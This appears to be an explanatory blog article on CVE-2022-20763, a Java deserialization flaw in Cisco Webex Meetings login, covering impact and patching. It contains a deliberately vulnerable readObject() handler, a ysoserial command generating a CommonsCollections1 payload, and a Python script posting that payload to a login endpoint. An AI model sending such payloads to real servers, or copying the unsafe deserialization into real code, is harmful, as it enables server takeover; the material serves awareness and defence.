Cisco Webex Meetings is one of the most popular tools for online meetings and video conferencing. However, in 2022, a critical vulnerability was discovered in its login process, known as CVE-2022-20763. This flaw could allow an attacker to run any Java code on a Webex Meetings server just by sending a carefully crafted login request.
In this article, we'll break down how the vulnerability works, show you code snippets to demonstrate the problem, and explain the potential impact in simple terms.
What is CVE-2022-20763?
CVE-2022-20763 is a vulnerability in the login authorization part of Cisco Webex Meetings. It happens because Webex Meetings did not safely handle _deserialization_ of Java objects in login requests.
Deserialization is when an application reads data and converts it back into a Java object. If untrusted data is deserialized directly, there’s a big risk: attackers can send evil (malicious) objects. When Java reads them, it could execute anything planted by the attacker.
The attacker logs in with a valid Webex account (the bug requires you to be authenticated).
2. Instead of a normal login request, the attacker sends a specially crafted Java object, hidden in the request.
The Webex Meetings service reads and deserializes this object _without_ checking if it’s safe.
4. The attacker’s code runs on the server – which could do anything, like stealing meetings, modifying content, or even taking over the server.
Technical Details & Code Example
Let’s walk through a made-up code snippet that shows the dangerous part. (Note: this is a simplified example to illustrate the concept; the *exact* implementation inside Webex is proprietary.)
Vulnerable login handler code (simplified, for learning only)
// Receives request from client
public void handleLogin(HttpServletRequest request) throws Exception {
// Dangerous: reads raw Java object from login form parameter
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
LoginRequest loginObj = (LoginRequest) ois.readObject(); // <-- BOOM!
// ... process loginObj and continue login process ...
}
The ObjectInputStream.readObject() line is where the problem happens. If the Java classpath contains gadgets (like from third-party libraries), an attacker can upload a payload that gets executed while deserializing the object.
Example payload using ysoserial
Suppose the Webex Meetings server uses commons-collections (a common Java library with known gadget chains).
Attacker runs this command to build a serialized payload that spawns calc.exe on Windows
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser
They send this binary data as part of the login request—if the server deserializes it blindly, it will execute the command.
What an Exploit Looks Like (Python Example)
This exemplifies what a login request could look like in Python — again, only for educational use.
import requests
# put your malicious Java serialized payload here
payload = open('payload.ser', 'rb').read()
headers = {
'Content-Type': 'application/x-java-serialized-object',
}
url = 'https://webex.enterprise.com/webex/login';
# authenticating with attacker credentials
response = requests.post(url, headers=headers, data=payload, auth=('attacker', 'password'))
print(response.status_code)
If vulnerable, the Webex Meetings application will deserialize payload.ser and execute its content on the server.
What's the Real-Life Impact?
- Remote Code Execution: An attacker gets to run Java code as the Webex server user – a big deal!
- System Compromise: With that access, they could steal your meetings, access confidential info, or plant further malware.
- Persistence: Attackers can create backdoors, escalate their privileges, or move laterally inside the network.
How to Fix It
Cisco addressed this issue in security updates. The fix was to block unsafe deserialization and carefully validate any incoming login objects.
There’s no workaround! Upgrade Webex Meetings to the patched version as soon as possible.
Cisco Security Advisory:
CVE-2022-20763: Cisco Webex Meetings Arbitrary Code Execution Vulnerability
NIST Database:
YsoSerial Java Deserialization Exploits:
Conclusion
CVE-2022-20763 is a textbook example of how dangerous Java deserialization can be. Even the best software can have simple coding mistakes that create massive security holes. If you run Cisco Webex Meetings, update immediately.
Stay safe and always check how your code handles user input, especially with Java serialization!
Disclaimer: This article is for educational awareness only. Do not attempt to exploit systems you don’t own or have permission to test.
*Keep watching for patches and always secure your code!*
Timeline
Published on: 04/06/2022 19:15:00 UTC
Last modified on: 04/14/2022 15:11:00 UTC